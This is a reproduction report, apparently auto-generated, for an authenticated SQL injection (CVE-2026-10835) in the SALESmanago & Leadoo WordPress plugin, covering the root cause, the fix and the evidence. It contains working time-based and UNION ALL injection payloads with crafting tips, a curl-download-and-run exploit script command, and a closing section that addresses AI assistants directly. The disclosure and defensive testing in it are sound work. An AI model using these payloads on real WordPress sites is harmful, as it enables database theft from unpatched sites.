# REPRO-2026-00241: SALESmanago & Leadoo WordPress plugin SQL injection ## Summary Status: published Severity: high Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00241 CVE: CVE-2026-10835 ## Package Name: Unknown Ecosystem: Unknown Affected: Unknown Fixed: Unknown ## Root Cause # CVE-2026-10835 — Root Cause Analysis ## Summary The SALESmanago & Leadoo WordPress plugin (before 3.11.3) is vulnerable to authenticated SQL injection via the `salesmanago_export_count_contacts` AJAX action. The plugin registers this action on `wp_ajax_` (authenticated users only) but the authorization helper `SecureHelper::validate_ajax_nonce()` returns `false` early for any non-admin user **without** calling `die()`/`wp_send_json_error()`, and `ExportController::countContacts()` ignores the return value — so an authenticated user with the minimal **Subscriber** role reaches the vulnerable query with **no nonce required**. `ExportModel::parseArgs()` reads the base64-decoded JSON `data` request parameter and assigns `$data->dateFrom` directly to `$this->dateFrom` with no sanitization; `ExportModel::getExportContactsQuery()` then interpolates that value directly into a SQL string (`A.post_date >= '{$this->dateFrom}'`), which is classic SQL injection. The injection was confirmed end-to-end against a real WordPress + MySQL stack: a time-based blind `SLEEP()` payload produced a response delay that scales linearly with the sleep duration, and a `UNION ALL` payload extracted the `wp_users` row count directly through the injection. ## Impact - **Package/component affected:** `SALESmanago & Leadoo` WordPress plugin (slug `salesmanago`), specifically `src/Admin/Model/ExportModel.php` (`parseArgs()` + `getExportContactsQuery()`) and `src/Includes/SecureHelper.php` (`validate_ajax_nonce()`). - **Affected versions:** all versions up to and including **3.11.2** (fixed in **3.11.3**). - **Risk level:** High (CVSS 7.7 per the WPScan advisory). An authenticated Subscriber (or any role) can append arbitrary SQL to the export-contacts count query and exfiltrate sensitive data such as user password hashes, secret keys, and the contents of any database table via time-based/boolean/UNION techniques. ## Impact Parity - **Disclosed/claimed maximum impact:** SQL injection allowing an authenticated attacker (Subscriber+) to extract sensitive information from the database. - **Reproduced impact from this run:** 1. Time-based blind SQL injection — `SLEEP(N)` executed inside the SQL engine, response delay scaling linearly with N (≈6 s per unit). 2. Data extraction — a `UNION ALL` injection returned the `wp_users` row count (`count = 2`, matching the ground-truth value read independently via `$wpdb`). - **Parity:** `full`. The claimed SQL-injection/data-extraction impact was demonstrated through the real remote `/wp-admin/admin-ajax.php` endpoint with an authenticated Subscriber session. - **Not demonstrated:** This proof focused on counting/extraction primitives; a full dump of password hashes was not performed (out of scope for a reproduction). The demonstrated primitives are sufficient to mount such an extraction with standard SQLi tooling (e.g. sqlmap on the `data`/`dateFrom` parameter). ## Root Cause Two defects combine to produce the vulnerability: 1. **Missing input sanitization + string interpolation in SQL.** `ExportModel::parseArgs()` (vulnerable 3.11.2): ```php $data = json_decode( base64_decode( $_REQUEST['data'] ) ); $this->dateFrom = empty( $data->dateFrom ) ? '2000-01-01' : $data->dateFrom; // NO sanitization ``` `ExportModel::getExportContactsQuery()` then builds the query by direct interpolation: ```php $query .= "WHERE A.post_type = 'shop_order' AND A.post_date >= '{$this->dateFrom}' AND A.post_date <= '{$this->dateTo}'"; ``` `$this->dateFrom` is attacker-controlled and unsanitized, so a single quote in `dateFrom` breaks out of the string literal and injects arbitrary SQL. Note the query is post-processed with `preg_replace('/\s\s+/', ' ', $query)`, which collapses newlines to single spaces; this is why a `-- ` line comment must not be used (it would also comment out the closing `) AS qwerty`), and why the working payloads balance the SQL instead. 2. **Broken authorization on the AJAX action.** `SecureHelper::validate_ajax_nonce()` (vulnerable 3.11.2): ```php public static function validate_ajax_nonce($action) { if ( function_exists('current_user_can') && ! current_user_can('manage_options') ) { return false; // <-- Subscriber hits this: returns, but does NOT die() } ... // check_ajax_referer() / wp_send_json_error() never reached for non-admins } ``` `ExportController::countContacts()` calls `SecureHelper::validate_ajax_nonce(...)` but **ignores its return value**, so execution continues to `parseArgs()` and the vulnerable query regardless. A Subscriber therefore reaches the SQL with no nonce and no capability check. **Fix (3.11.3):** - `validate_ajax_nonce()` now enforces both a valid nonce (`check_ajax_referer('salesmanago_admin','sm_nonce',false)`) **and** `current_user_can('manage_options')`, calling `wp_send_json_error(['message'=>'forbidden'], 403)` (which dies) on failure — so a Subscriber is blocked with HTTP 403. - `parseArgs()` now validates input: `sanitize_text_field()`, strict base64 decode, JSON-error checking, and a new `validate_date_format()` for `dateFrom`. - `getExportContactsQuery()` now uses `$wpdb->prepare()` with `%s` placeholders: ```php $query .= $this->db->prepare(" AND A.post_date >= %s AND A.post_date <= %s ", $this->dateFrom, $this->dateTo); ``` eliminating the string interpolation. Fixed-version reference: WordPress.org plugin download `https://downloads.wordpress.org/plugin/salesmanago.3.11.3.zip`; advisory `https://a8cteam5105.wordpress.com/vulnerability/3c7b37ab-b069-4257-82b2-5b4c54f7e503/`. ## Reproduction Steps 1. **Reference script:** `bundle/repro/reproduction_steps.sh` (self-contained; also uses `bundle/repro/docker-compose.yml`). 2. **What the script does:** - Stands up a real WordPress 6.7 (PHP 8.2) + MySQL 8.0 stack via Docker Compose. Because the sandbox host cannot reach the Docker bridge network (different mount/network namespace), all HTTP interaction is executed **inside** the WordPress container via `docker compose exec`. - Runs the WordPress 5-minute install, seeds a minimal `salesmanago_configuration` option (via `wp eval-file`/`$wpdb`, since the `wordpress:apache` image ships no `mysql` CLI), copies the plugin into the container via `docker cp` (bind mounts do not work across the namespace boundary), activates it, and creates a **Subscriber** user plus two dummy posts. - Logs in as the Subscriber through the real `wp-login.php` cookie flow. - Sends SQL-injection payloads to the real `/wp-admin/admin-ajax.php` endpoint (`action=salesmanago_export_count_contacts`, `data` = base64 JSON with an injected `dateFrom`), measuring HTTP status and response time, and parses the `count` field from the JSON response. - Repeats the entire flow against the **fixed 3.11.3** plugin as a negative control, then compares results and writes `runtime_manifest.json`. 3. **Expected evidence of reproduction:** - Vulnerable 3.11.2: `SLEEP(0)≈0.07 s`, `SLEEP(1)≈6.07 s`, `SLEEP(2)≈12.01 s` (linear timing → blind SQLi), and `UNION ALL` extraction `count = 2` matching the ground-truth `wp_users` row count. - Fixed 3.11.3: every Subscriber request returns HTTP **403** `{"success":false,"data":{"message":"forbidden"}}` with no timing delay and no `count` field. ## Evidence - **Manifest:** `bundle/repro/runtime_manifest.json` (valid JSON; concrete timing, extraction, and fixed-control values). - **Verdict:** `bundle/repro/validation_verdict.json`. - **Run logs:** `bundle/logs/vulnerable/run.log`, `bundle/logs/fixed/run.log`. - **Per-request captures:** `bundle/logs/vulnerable/req_*.txt`, `bundle/logs/fixed/req_*.txt` (each file is the raw curl body followed by a final line `HTTP_CODE TIME_TOTAL`). - **Summaries:** `bundle/logs/vulnerable/summary.csv`, `bundle/logs/fixed/summary.csv` (`name|http|time|count`). - **Ground truth:** `bundle/logs/vulnerable/groundtruth_usercount.txt` (`2`). Key excerpts (vulnerable 3.11.2): ``` # Time-based blind SQLi — linear scaling (each row sleeps N seconds) sleep0 | 200 | 0.075820s | count=1 sleep1 | 200 | 6.071948s | count=1 sleep2 | 200 | 12.012303s | count=1 # Data extraction — UNION ALL reads wp_users row count through the injection union_usercount | 200 | 0.009666s | count=2 # matches ground-truth (admin + subscriber = 2) union_nouser | 200 | 0.017291s | count=0 # WHERE ID=99999 -> 0 rows (control) baseline | 200 | 0.010917s | count=0 # no injection ``` Raw vulnerable `union_usercount` response body (the injected `dateFrom` is reflected back and `count` is the extracted value): ```json {"packageSize":400,...,"dateFrom":"2000-01-01' AND 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM (SELECT 1 AS post_date FROM wp_users) A WHERE '1'='1","dateTo":"2026-07-05","count":"2",...} ``` Fixed 3.11.3 negative control — Subscriber is blocked, no SQL executes: ``` sleep2 | 403 | 0.009891s | count= union_usercount | 403 | 0.011896s | count= ``` Raw fixed `union_usercount` response: `{"success":false,"data":{"message":"forbidden"}}` (HTTP 403). **Environment:** Docker `wordpress:6.7-php8.2-apache` + `mysql:8.0`; plugin versions 3.11.2 (vulnerable) and 3.11.3 (fixed) downloaded from `downloads.wordpress.org`. No sanitizer used; the oracle is wall-clock response time and the JSON `count` field returned by the real product endpoint. ## Recommendations / Next Steps - **Upgrade** to SALESmanago & Leadoo **3.11.3** or later immediately. - **Fix approach (already applied in 3.11.3):** use `$wpdb->prepare()` with placeholders for every user-controlled value, validate/whitelist `dateFrom` with a date-format check, and enforce both a valid nonce and `manage_options` capability on every export AJAX action (die on failure). - **Defense in depth:** register export actions only for `manage_options` users via `add_action('wp_ajax_...', ...)` combined with an explicit `current_user_can('manage_options')` gate at the top of each handler; audit all other `$wpdb->get_var/get_row/get_results/query` call sites for raw interpolation. - **Testing:** add an integration test that sends a SQLi payload (single quote, `SLEEP`, `UNION`) to each export AJAX action as a Subscriber and asserts a 403 and no timing differential; add a static scan forbidding `{$...}` interpolation inside SQL strings passed to `$wpdb`. ## Additional Notes - **Idempotency confirmation:** `reproduction_steps.sh` was run **twice consecutively**; both runs exited 0 and produced identical confirming results (timing scaling `yes`, `union_usercount == groundtruth == 2`, fixed control `403`). The stack is fully torn down (`docker compose down -v`) at the end of each instance, so each run starts from a clean MySQL volume. - **Sandbox constraints handled:** (a) the Docker daemon runs in a separate mount namespace from the shell, so bind mounts see an empty directory — the plugin is injected with `docker cp` instead; (b) the `wordpress:apache` image has no `mysql` client, so DB seeding/reads use `wp eval-file` (pure `$wpdb`); (c) the host cannot reach the container network, so all HTTP requests (`wp-login.php`, `admin-ajax.php`) run inside the container via `docker compose exec curl http://127.0.0.1/...`. - **Payload note:** the `SLEEP` payload is balanced as `2000-01-01' OR SLEEP(N) OR '1'='1` rather than using a `-- ` comment, because the plugin's `preg_replace('/\s\s+/', ' ', $query)` whitespace collapse turns newlines into spaces and would make `-- ` comment out the closing `) AS qwerty`, breaking the query (observed as `count:null` during development). - **Limitations:** WooCommerce is not installed, so the export query's `shop_order` filter matches zero rows by design; the time-based proof relies on the `OR SLEEP(N)` term being evaluated for the default `post`/`page` rows that the `WHERE` scans. The data-extraction proof uses a derived table `(SELECT 1 AS post_date FROM wp_users) A` so the trailing `AND A.post_date <= ''` clause stays valid inside the UNION second SELECT. No destructive SQL was executed; only `SLEEP`, `UNION ALL`, and `COUNT` were used. ## Reproduction Details Reproduced: 2026-07-06T08:32:10.786Z Duration: 3002 seconds Tool calls: 284 Turns: Unknown Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00241 pruva-verify CVE-2026-10835 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00241&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00241/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-10835 - Source: wordpress.org/plugins/salesmanago ## Artifacts - bundle/repro/reproduction_steps.sh (reproduction_script, 20291 bytes) - bundle/repro/rca_report.md (analysis, 12415 bytes) - bundle/vuln_variant/rca_report.md (analysis, 15359 bytes) - bundle/vuln_variant/reproduction_steps.sh (reproduction_script, 25966 bytes) - bundle/repro/docker-compose.yml (other, 879 bytes) - bundle/logs/run.log (log, 6955 bytes) - bundle/artifact_promotion_manifest.json (other, 14438 bytes) - bundle/vuln_variant/source_identity.json (other, 2005 bytes) - bundle/vuln_variant/root_cause_equivalence.json (other, 4390 bytes) - bundle/repro/validation_verdict.json (other, 1124 bytes) - bundle/repro/runtime_manifest.json (other, 1217 bytes) - bundle/logs/vulnerable/summary.csv (other, 150 bytes) - bundle/logs/fixed/summary.csv (other, 143 bytes) - bundle/logs/vulnerable/req_sleep2.txt (other, 325 bytes) - bundle/logs/vulnerable/resp_union_usercount_raw.txt (other, 409 bytes) - bundle/logs/fixed/req_union_usercount.txt (other, 62 bytes) - bundle/logs/vulnerable/groundtruth_usercount.txt (other, 2 bytes) - bundle/logs/vulnerable/req_union_usercount.txt (other, 409 bytes) - bundle/logs/vuln_variant/vulnerable/summary.csv (other, 83 bytes) - bundle/logs/vuln_variant/fixed/summary.csv (other, 20 bytes) - bundle/logs/vuln_variant/vulnerable/req_sleep2.txt (other, 318 bytes) - bundle/logs/vuln_variant/fixed/req_sleep2.txt (other, 62 bytes) - bundle/logs/vuln_variant/run.log (log, 5572 bytes) - bundle/vuln_variant/variant_manifest.json (other, 6049 bytes) - bundle/vuln_variant/validation_verdict.json (other, 1962 bytes) - bundle/vuln_variant/runtime_manifest.json (other, 1751 bytes) - bundle/vuln_variant/patch_analysis.md (documentation, 11240 bytes) - bundle/logs/vuln_variant/vulnerable/req_baseline.txt (other, 294 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00241 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00241/artifacts/bundle/repro/reproduction_steps.sh - Web: https://pruva.dev/r/REPRO-2026-00241 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://pruva.dev